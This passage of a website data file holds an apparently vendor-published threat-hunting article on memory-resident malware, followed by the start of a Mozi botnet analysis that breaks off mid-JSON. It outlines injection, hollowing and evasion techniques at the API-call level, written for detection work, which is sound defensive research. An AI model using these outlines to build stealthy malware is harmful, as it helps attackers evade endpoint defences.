permissions of the first page, as you can see below.\n\n\n\nHowever, the Winnti sample was notable because the MZ/PE headers in the DLL were erased, making it more difficult to detect.\n\n\n\n### PROCESS HOLLOWING\n\nProcess hollowing is another technique attackers use to prevent their malware from being detected by security products and hunters. It involves creating a suspended process, unmapping (hollowing) the original executable from the process, allocating and writing a new payload to the process, redirecting the execution of the original thread to the new payload with SetThreadContext, and finally calling ResumeThread to complete. More stealthy variants use Create/Map section APIs to avoid WriteProcessMemory. Others modify the entry point with a jump instead of using SetThreadContext.\n\n[DarkComet](https://journeyintoir.blogspot.com/2015/02/process-hollowing-meets-cuckoo-sandbox.html) is one of many malware families that use process hollowing techniques. Several artifacts can be used to detect process hollowing. One dead giveaway for this activity is a process being spawned with the CREATE_SUSPENDED flag, as shown in the following screenshot from a DarkComet sample.\n\n\n\n### MODULE OVERWRITING\n\nSo far, all techniques discussed have led to the execution of non-image backed code, and were therefore fairly straightforward to detect. Module overwriting, on the other hand, avoids this requirement, making it much more difficult to detect. This technique consists of mapping an unused module into a target process and then overwriting the module with its own payload. Flame was the first widely publicized malware family to use this technique. More recently, Careto and Odinaff malware families have used module overwriting techniques. Various techniques can be used to reliably detect module overwriting, which involves comparing memory to associated data on disk.\n\n### GARGOYLE\n\n[Gargoyle](https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html) is a proof of concept technique for memory resident malware that can evade detection from many security products. It accomplishes this feat by laying dormant with read-only page protections. It then periodically wakes up, using an asynchronous procedure call, and executes a ROP chain to mark its payload as executable before jumping to it. After the payload finishes executing, Gargoyle again masks its page permissions and goes back to sleep. One way to detect this attacker technique is to examine threads and user APCs for evidence of ROP chains.\n\n## Detecting In-Memory Attacks\n\nGiven the proliferation and accessibility of these techniques, security personnel must be vigilant for memory-based attacker techniques and proactively hunt for them on their networks. However, most products cannot generically detect in-memory attacks at scale, leaving defenders with an enormous gap in their ability to protect against these attacks. Endgame has done significant research to bring low-noise detection capabilities into our product for each method mentioned above.\n\nGiven the immense size and impact of this detection gap, it is important to raise all boats, not just those of our customers. For this reason, we collaborated with Jared Atkinson on his powershell tool called [Get-InjectedThreads](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2), which implements a relatively low-noise method of detecting in memory threats. It scans active threads on the system for suspicious start addresses. Hunters leverage it to scan hosts in their networks and quickly identify many memory resident malware techniques. The script works by querying each active thread with the NtQueryInformationThread function to retrieve its start address. The start address is then queried with the VirtualQueryEx function to determine the associated section properties. If the memory region where the thread started is unbacked and executable (i.e. not image type and has execute bit set), then the thread is considered injected. The following screenshot shows a sample detection when run on a system infected with a 9002 RAT [sample](https://www.virustotal.com/en/file/49ac6a6c5449396b98a89709b0ad21d078af783ec8f1cd32c1c8b5ae71bec129/analysis/).\n\n\n\nThe script will catch a variety of malware families leveraging the shellcode injection, reflective DLL, memory module, and some process hollowing techniques. However, it is no replacement for security products that comprehensively prevent in-memory attacks, such as Endgame.\n\n## Enterprise In-Memory Detection at Scale\n\nEndgame has built detections for each of these techniques (and many more) into our enterprise security platform, offering best in market capabilities to locate in-memory threats. We do not simply rely on naïve approaches like monitoring well-known system call sequences for process injection, but efficiently analyze memory to find all known evasion capabilities. This provides our users with thread-level visibility on injected code, as well as sophisticated follow-on actions like examining the injected code and suspending only a malicious injected thread to remediate the threat. Our platform is effective both in stopping injection as it is happening in real time as well as locating already resident adversaries hiding in memory, locating threats across tens of thousands of hosts in seconds.\n\nLike any signatureless detection technique, false positives (FPs) are an important consideration. As we researched and implemented our technique-based preventions for each adversary technique described above, we initially encountered FPs at every step of the way. Handling these correctly in our product is of paramount importance.\n\nMost FPs are related to security software, Just-In-Time (JIT) compiled code, or DRM protected/packed applications. Security products sometimes inject code to some or all processes on the system to enhance their behavioral detection capabilities. The downside is if the product is sloppy in its methods, it can actually [harm](https://www.blackhat.com/docs/us-16/materials/us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations.pdf) the security of the system and make hunting for real in memory threats more difficult. JIT code, another potential area for false positives, generates assembly code at runtime which lives in unbacked or floating memory regions. .NET or Java applications are a couple of examples which use JIT techniques. Fortunately, this type of code is easier to identify and filter than rogue security products. Lastly, applications packed or protected with Digital Rights Management (DRM) schemes should be kept in mind. These applications may decrypt or deobfuscate their core functionality in memory to deter debugging and reverse engineering. However, the same techniques are used by malware to evade detection and deter analysis from security practitioners.\n\nThrough careful design decisions and extensive testing, we have managed to achieve very low false positive rates, allowing Endgame users to root out in-memory threats rapidly.\n\n## Conclusion\n\nAdversaries will continue to innovate new techniques to avoid detection and accomplish their objectives. Memory resident techniques are no exception, and have been a thorn in the side of endpoint security defenders for over a decade. Fortunately, by understanding the latest techniques, we can turn the tables and use this knowledge to develop new high fidelity detection methods. At Endgame, our comprehensive approach to these attacks have led us to a market leading position for fileless attack detection (adding to our other key technologies). For more on hunting for in-memory attacks, check out our [slides](https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory) from our SANS Threat Hunting and IR Summit presentation.\n","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),y=(i,e)=\u003e{for(var o in e)a(i,o,{get:e[o],enumerable:!0})},r=(i,e,o,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of p(e))!g.call(i,n)\u0026\u0026n!==o\u0026\u0026a(i,n,{get:()=\u003ee[n],enumerable:!(s=m(e,n))||s.enumerable});return i};var w=(i,e,o)=\u003e(o=i!=null?d(u(i)):{},r(e||!i||!i.__esModule?a(o,\"default\",{value:i,enumerable:!0}):o,i)),v=i=\u003er(a({},\"__esModule\",{value:!0}),i);var l=f((x,c)=\u003e{c.exports=_jsx_runtime});var T={};y(T,{default:()=\u003ej,frontmatter:()=\u003eb});var t=w(l()),b={title:\"Hunting In Memory\",slug:\"hunting-memory\",date:\"2022-06-21\",description:\"Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack.\",author:[{slug:\"joe-desimone\"}],image:\"blog-thumb-generic-black.jpg\",category:[{slug:\"security-research\"}]};function h(i){let e=Object.assign({p:\"p\",a:\"a\",h2:\"h2\",h3:\"h3\",img:\"img\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack lifecycle. To be successful, hunters must continually hone their subject matter expertise on the latest attacker techniques and detection methods. Memory resident malware, which presents itself in many forms, is an attacker technique that has existed for over a decade. The popularity of memory resident malware has steadily \",(0,t.jsx)(e.a,{href:\"https://www.cyber.nj.gov/threat-analysis/fileless-evasive-intrusion-tactics-pose-challenge-for-network-defense\",rel:\"nofollow\",children:\"increased\"}),\" over time, possibly resulting from the proliferation of code and knowledge of in memory techniques. More likely, its popularity reflects the success of memory-based techniques to evade detection by security products and practitioners. Once limited to advanced adversaries, memory resident techniques are now commonplace for all levels of adversary sophistication. I will examine the most common of these memory based attacker techniques, and walk through our team\\u2019s research to craft a scalable, low noise approach to hunting for adversaries that are hiding in memory.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"attacker-techniques\",children:\"Attacker Techniques\"}),`\n`,(0,t.jsx)(e.p,{children:\"Before I address memory hunting methods to detect adversaries in your network, it is helpful to understand the common forms of memory resident malware. These techniques include shellcode injection, reflective DLL injection, memory module, process and module hollowing, and Gargoyle (ROP/APC).\"}),`\n`,(0,t.jsx)(e.h3,{id:\"shellcode-injection\",children:\"SHELLCODE INJECTION\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Shellcode injection is the most basic in-memory technique and has also been around the longest. The basic \\u2018recipe\\u2019 for shellcode injection is a four step process. These steps are: 1) open a target process (OpenProcess); 2) allocate a chunk of memory in the process (VirtualAllocEx); 3) write the shellcode payload to the newly allocated section (WriteProcessMemory); and 4) create a new thread in the remote process to execute the shellcode (CreateRemoteThread). The venerable \",(0,t.jsx)(e.a,{href:\"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf\",rel:\"nofollow\",children:\"Poison Ivy\"}),\" malware uses this technique, which is a big reason why so many APT groups were drawn to it over the years.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"If you pull up a Poison Ivy \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/en/file/e0a8e823b446764e2b536e81d3fefaa9a562dd8c0614b3bdb345233de27e216a/analysis/\",rel:\"nofollow\",children:\"sample\"}),\"with x64dbg and set a breakpoint on VirtualAllocEx, you will soon locate the chunk of code responsible for the injection.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/endgame-shellcode-injection.jpg\",alt:\"Shellcode Injection\",width:\"588\",height:\"232\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/endgame-shellcode-injection-2.jpg\",alt:\"Shellcode Injection\",width:\"624\",height:\"104\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the first image, the push 40 instruction preceding the call to VirtualAllocEx corresponds to page access protection value of PAGE_EXECUTE_READWRITE. In the following screenshot from \",(0,t.jsx)(e.a,{href:\"http://processhacker.sourceforge.net/\",rel:\"nofollow\",children:\"ProcessHacker\"}),\" of the memory layout of a Poison Ivy implant, you can see it allocates a number of these RWX sections.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/endgame-poinson-ivy-implant.jpg\",alt:\"Poison Ivy Implant\",width:\"524\",height:\"204\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Typical code sections are of type \\u2018Image\\u2019 and map to a file on disk. However, these are type \\u2018Private\\u2019 and do not map to a file on disk. They are therefore referred to as unbacked executable sections or floating code. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity. ProcessHacker can also show you the call stack of the malware threads. There are multiple functions in the call stack which do not map to memory associated with loaded modules.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/endgame-processhacker.jpg\",alt:\"ProcessHacker\",width:\"470\",height:\"244\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"reflective-dll-injection\",children:\"REFLECTIVE DLL INJECTION\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Reflective DLL injection, originally developed by \",(0,t.jsx)(e.a,{href:\"https://github.com/stephenfewer/ReflectiveDLLInjection\",rel:\"nofollow\",children:\"Steven Fewer\"}),\", is another type of in memory attacker technique. Metasploit\\u2019s \",(0,t.jsx)(e.a,{href:\"https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter\",rel:\"nofollow\",children:\"Meterperter\"}),\" payload was one of the first attempts to fully weaponize the technique, but many malware families use it today. Reflective DLL injection works by creating a DLL that maps itself into memory when executed, instead of relying on the Window\\u2019s loader. The injection process is identical to shellcode injection, except the shellcode is replaced with a self-mapping DLL. The self-mapping component added to the DLL is responsible for resolving import addresses, fixing relocations, and calling the DllMain function. Attackers benefit from the ability to code in higher level languages like C/C++ instead of assembly.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Classic reflective DLL injection, such as that used by Meterpreter, is easy for hunters to find. It leaves large RWX memory sections in the process, even when the meterpreter session is closed. The start of these unbacked executable memory sections contain the full MZ/PE header, as shown in the images below. However, keep in mind that other reflective DLL implementations could wipe the headers and fix the memory leak.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/_endgame-unbacked-executable-memory-sections.jpg\",alt:\"Unbacked executable memory sections\",width:\"409\",height:\"92\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/_endgame-unbacked-executable-memory-sections-2.jpg\",alt:\"unbacked executable memory sections\",width:\"606\",height:\"213\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The DLLs loaded in memory also conveniently export a self-describing function called ReflectiveLoader().\"}),`\n`,(0,t.jsx)(e.h3,{id:\"\",children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/endgame-reflective-loader.jpg\",alt:\"Reflective Loader\",width:\"398\",height:\"96\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"memory-module\",children:\"MEMORY MODULE\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/fancycode/MemoryModule\",rel:\"nofollow\",children:\"Memory module\"}),\" is another memory resident attacker technique. It is similar to Reflective DLL injection except the injector or loader is responsible for mapping the target DLL into memory instead of the DLL mapping itself. Essentially, the memory module loader re-implements the LoadLibrary function, but it works on a buffer in memory instead of a file on disk. The original implementation was designed for mapping in the current process, but updated techniques can map the module into \",(0,t.jsx)(e.a,{href:\"https://github.com/DarthTon/Blackbone\",rel:\"nofollow\",children:\"remote processes\"}),\". Most implementations respect the section permissions of the target DLL and avoid the noisy RWX approach.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests\",rel:\"nofollow\",children:\"NetTraveler\"}),\" is one malware family that uses a memory module style technique. When NetTraveler starts, it unpacks the core functionality and maps it into memory. The page permissions more closely resemble a legitimate DLL, however the memory regions are still private as opposed to image.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/endgame-nettraveler-permissions.jpg\",alt:\"NetTraveler page permissions\",width:\"510\",height:\"144\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The active threads have start addresses at these private regions. The callstack also reveals these malicious sections.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/_endgame-callstack-malicious-sections.jpg\",alt:\"endgame-callstack-malicious-sections.png\",width:\"476\",height:\"154\"})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://hitcon.org/2016/pacific/0composition/pdf/1201/1201%20R2%201610%20winnti%20polymorphism.pdf\",rel:\"nofollow\",children:\"Winnti\"}),\" is yet another malware sample that uses the Memory Module technique. They had a minor slip on the section permissions of the first page, as you can see below.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/endgame-section-permissions.jpg\",alt:\"endgame-section-permissions.jpg\",width:\"482\",height:\"154\"})}),`\n`,(0,t.jsx)(e.p,{children:\"However, the Winnti sample was notable because the MZ/PE headers in the DLL were erased, making it more difficult to detect.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/_endgame-DLL.jpg\",alt:\"_endgame-DLL.jpg\",width:\"622\",height:\"154\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"process-hollowing\",children:\"PROCESS HOLLOWING\"}),`\n`,(0,t.jsx)(e.p,{children:\"Process hollowing is another technique attackers use to prevent their malware from being detected by security products and hunters. It involves creating a suspended process, unmapping (hollowing) the original executable from the process, allocating and writing a new payload to the process, redirecting the execution of the original thread to the new payload with SetThreadContext, and finally calling ResumeThread to complete. More stealthy variants use Create/Map section APIs to avoid WriteProcessMemory. Others modify the entry point with a jump instead of using SetThreadContext.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://journeyintoir.blogspot.com/2015/02/process-hollowing-meets-cuckoo-sandbox.html\",rel:\"nofollow\",children:\"DarkComet\"}),\" is one of many malware families that use process hollowing techniques. Several artifacts can be used to detect process hollowing. One dead giveaway for this activity is a process being spawned with the CREATE_SUSPENDED flag, as shown in the following screenshot from a DarkComet sample.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/_endgame-darkcomet-sample.jpg\",alt:\"_endgame-darkcomet-sample.jpg\",width:\"624\",height:\"206\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"module-overwriting\",children:\"MODULE OVERWRITING\"}),`\n`,(0,t.jsx)(e.p,{children:\"So far, all techniques discussed have led to the execution of non-image backed code, and were therefore fairly straightforward to detect. Module overwriting, on the other hand, avoids this requirement, making it much more difficult to detect. This technique consists of mapping an unused module into a target process and then overwriting the module with its own payload. Flame was the first widely publicized malware family to use this technique. More recently, Careto and Odinaff malware families have used module overwriting techniques. Various techniques can be used to reliably detect module overwriting, which involves comparing memory to associated data on disk.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"gargoyle\",children:\"GARGOYLE\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html\",rel:\"nofollow\",children:\"Gargoyle\"}),\" is a proof of concept technique for memory resident malware that can evade detection from many security products. It accomplishes this feat by laying dormant with read-only page protections. It then periodically wakes up, using an asynchronous procedure call, and executes a ROP chain to mark its payload as executable before jumping to it. After the payload finishes executing, Gargoyle again masks its page permissions and goes back to sleep. One way to detect this attacker technique is to examine threads and user APCs for evidence of ROP chains.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-in-memory-attacks\",children:\"Detecting In-Memory Attacks\"}),`\n`,(0,t.jsx)(e.p,{children:\"Given the proliferation and accessibility of these techniques, security personnel must be vigilant for memory-based attacker techniques and proactively hunt for them on their networks. However, most products cannot generically detect in-memory attacks at scale, leaving defenders with an enormous gap in their ability to protect against these attacks. Endgame has done significant research to bring low-noise detection capabilities into our product for each method mentioned above.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Given the immense size and impact of this detection gap, it is important to raise all boats, not just those of our customers. For this reason, we collaborated with Jared Atkinson on his powershell tool called \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2\",rel:\"nofollow\",children:\"Get-InjectedThreads\"}),\", which implements a relatively low-noise method of detecting in memory threats. It scans active threads on the system for suspicious start addresses. Hunters leverage it to scan hosts in their networks and quickly identify many memory resident malware techniques. The script works by querying each active thread with the NtQueryInformationThread function to retrieve its start address. The start address is then queried with the VirtualQueryEx function to determine the associated section properties. If the memory region where the thread started is unbacked and executable (i.e. not image type and has execute bit set), then the thread is considered injected. The following screenshot shows a sample detection when run on a system infected with a 9002 RAT \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/en/file/49ac6a6c5449396b98a89709b0ad21d078af783ec8f1cd32c1c8b5ae71bec129/analysis/\",rel:\"nofollow\",children:\"sample\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/hunting-memory/_endgame-RAT-sample.jpg\",alt:\"_endgame-RAT-sample.jpg\",width:\"602\",height:\"350\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The script will catch a variety of malware families leveraging the shellcode injection, reflective DLL, memory module, and some process hollowing techniques. However, it is no replacement for security products that comprehensively prevent in-memory attacks, such as Endgame.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"enterprise-in-memory-detection-at-scale\",children:\"Enterprise In-Memory Detection at Scale\"}),`\n`,(0,t.jsx)(e.p,{children:\"Endgame has built detections for each of these techniques (and many more) into our enterprise security platform, offering best in market capabilities to locate in-memory threats. We do not simply rely on na\\xEFve approaches like monitoring well-known system call sequences for process injection, but efficiently analyze memory to find all known evasion capabilities. This provides our users with thread-level visibility on injected code, as well as sophisticated follow-on actions like examining the injected code and suspending only a malicious injected thread to remediate the threat. Our platform is effective both in stopping injection as it is happening in real time as well as locating already resident adversaries hiding in memory, locating threats across tens of thousands of hosts in seconds.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Like any signatureless detection technique, false positives (FPs) are an important consideration. As we researched and implemented our technique-based preventions for each adversary technique described above, we initially encountered FPs at every step of the way. Handling these correctly in our product is of paramount importance.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Most FPs are related to security software, Just-In-Time (JIT) compiled code, or DRM protected/packed applications. Security products sometimes inject code to some or all processes on the system to enhance their behavioral detection capabilities. The downside is if the product is sloppy in its methods, it can actually \",(0,t.jsx)(e.a,{href:\"https://www.blackhat.com/docs/us-16/materials/us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations.pdf\",rel:\"nofollow\",children:\"harm\"}),\" the security of the system and make hunting for real in memory threats more difficult. JIT code, another potential area for false positives, generates assembly code at runtime which lives in unbacked or floating memory regions. .NET or Java applications are a couple of examples which use JIT techniques. Fortunately, this type of code is easier to identify and filter than rogue security products. Lastly, applications packed or protected with Digital Rights Management (DRM) schemes should be kept in mind. These applications may decrypt or deobfuscate their core functionality in memory to deter debugging and reverse engineering. However, the same techniques are used by malware to evade detection and deter analysis from security practitioners.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Through careful design decisions and extensive testing, we have managed to achieve very low false positive rates, allowing Endgame users to root out in-memory threats rapidly.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Adversaries will continue to innovate new techniques to avoid detection and accomplish their objectives. Memory resident techniques are no exception, and have been a thorn in the side of endpoint security defenders for over a decade. Fortunately, by understanding the latest techniques, we can turn the tables and use this knowledge to develop new high fidelity detection methods. At Endgame, our comprehensive approach to these attacks have led us to a market leading position for fileless attack detection (adding to our other key technologies). For more on hunting for in-memory attacks, check out our \",(0,t.jsx)(e.a,{href:\"https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory\",rel:\"nofollow\",children:\"slides\"}),\" from our SANS Threat Hunting and IR Summit presentation.\"]})]})}function k(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(h,i)})):h(i)}var j=k;return v(T);})();\n;return Component;"},"_id":"articles/hunting-memory.mdx","_raw":{"sourceFilePath":"articles/hunting-memory.mdx","sourceFileName":"hunting-memory.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/hunting-memory"},"type":"Article","imageUrl":"/assets/images/hunting-memory/blog-thumb-generic-black.jpg","readingTime":"11 min read","series":"","url":"/hunting-memory","headings":[{"level":2,"title":"Attacker Techniques","href":"#attacker-techniques"},{"level":3,"title":"SHELLCODE INJECTION","href":"#shellcode-injection"},{"level":3,"title":"REFLECTIVE DLL INJECTION","href":"#reflective-dll-injection"},{"level":3,"title":"","href":"#reflective-loaderassetsimageshunting-memoryendgame-reflective-loaderjpg"},{"level":3,"title":"MEMORY MODULE","href":"#memory-module"},{"level":3,"title":"PROCESS HOLLOWING","href":"#process-hollowing"},{"level":3,"title":"MODULE OVERWRITING","href":"#module-overwriting"},{"level":3,"title":"GARGOYLE","href":"#gargoyle"},{"level":2,"title":"Detecting In-Memory Attacks","href":"#detecting-in-memory-attacks"},{"level":2,"title":"Enterprise In-Memory Detection at Scale","href":"#enterprise-in-memory-detection-at-scale"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Joe Desimone","slug":"joe-desimone","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of j(e))!d.call(t,r)\u0026\u0026r!==n\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(a=f(e,r))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var c=g((h,m)=\u003e{m.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var o=p(c()),M={title:\"Joe Desimone\",slug:\"joe-desimone\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,o.jsx)(e,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"authors/joe-desimone.mdx","_raw":{"sourceFilePath":"authors/joe-desimone.mdx","sourceFileName":"joe-desimone.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/joe-desimone"},"type":"Author","imageUrl":"","url":"/authors/joe-desimone"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Collecting and operationalizing threat data from the Mozi botnet","slug":"collecting-and-operationalizing-threat-data-from-the-mozi-botnet","date":"2022-06-02","description":"The Mozi botnet is an ongoing malware campaign targeting unsecured and vulnerable networking devices. This post will showcase the analyst journey of collecting, analyzing, and operationalizing threat data from the Mozi botnet.","image":"blog-thumb-mozi-botnet.jpg","body":{"raw":"\nDetecting and preventing malicious activity such as botnet attacks is a critical area of focus for threat intel analysts, security operators, and threat hunters. Taking up the Mozi botnet as a case study, this blog post demonstrates how to use open source tools, analytical processes, and the Elastic Stack to perform analysis and enrichment of collected data irrespective of the campaign. This will allow you to take the lessons and processes outlined below to your organization and apply them to your specific use cases.\n\nThe Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS), email spam, brute-force, password spraying, etc.). Mozi was [first reported](https://blog.netlab.360.com/mozi-another-botnet-using-dht/) by the research team at 360Netlab in December 2019 and has continued to make up a large portion of IoT network activity across the Internet-at-large.\n\nAs reported by 360Netlab, the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits. The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients. Once the malware has accessed a vulnerable device, it executes the payload and subsequently joins the Mozi P2P network. The newly infected device listens for commands from controller nodes and also attempts to infect other vulnerable devices.\n\nMozi targets multiple IoT devices and systems, mainly focused on Small Office Home Office (SOHO) networking devices, Internet-connected audio visual systems, and theoretically any 32-bit ARM device.\n\n## Collection\n\nWhen performing data analysis, the more data that you have, the better. Analysis of malware campaigns are no different. With a paid subscription to VirusTotal, you can collect huge amounts of data for analysis, but we wanted an approach for independent researchers or smaller organizations that may not have this premium service. To do that, we decided to keep to our roots at Elastic and leverage open source datasets to avoid a paywall that could prevent others from using our processes.\n\nTo begin, we started with a handful of [Mozi samples](https://threatfox.abuse.ch/browse.php?search=tag%3Amozi) collected from [ThreatFox](https://threatfox.abuse.ch/). ThreatFox is an open source platform from [Abuse.ch](https://abuse.ch) with the goal of sharing malware indicators with the security research community.\n\nUsing cURL, we queried the ThreatFox API for the Mozi tag. This returned back JSON documents with information about the malware sample, based on the tagged information.\n\n```\ncurl -X POST https://threatfox-api.abuse.ch/api/v1/ -d '{ \"query\": \"taginfo\", \"tag\": \"Mozi\", \"limit\": 1 }'\n```\n\n_Code block 1 - cURL request to ThreatFox API_\n\n- -X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the ThreatFox API\n- `https://threatfox-api.abuse.ch/api/v1/` - this is the ThreatFox API endpoint\n- -d - this is denoting that we’re going to be sending data\n- query: taginfo - the type of query that we’re making, taginfo in our example\n- tag: Mozi - the tag that we’ll be searching for, “Mozi” in our example\n- limit: 1 - the number of results to return, 1 result in our example, but you can return up to 1000 results\n\nThis returned the following information:\n\n```\n{\n \"query_status\": \"ok\",\n \"data\": [\n {\n \"id\": \"115772\",\n \"ioc\": \"nnn.nnn.nnn.nnn:53822\",\n \"threat_type\": \"botnet_cc\",\n \"threat_type_desc\": \"Indicator that identifies a botnet command\u0026control server (C\u0026C)\",\n 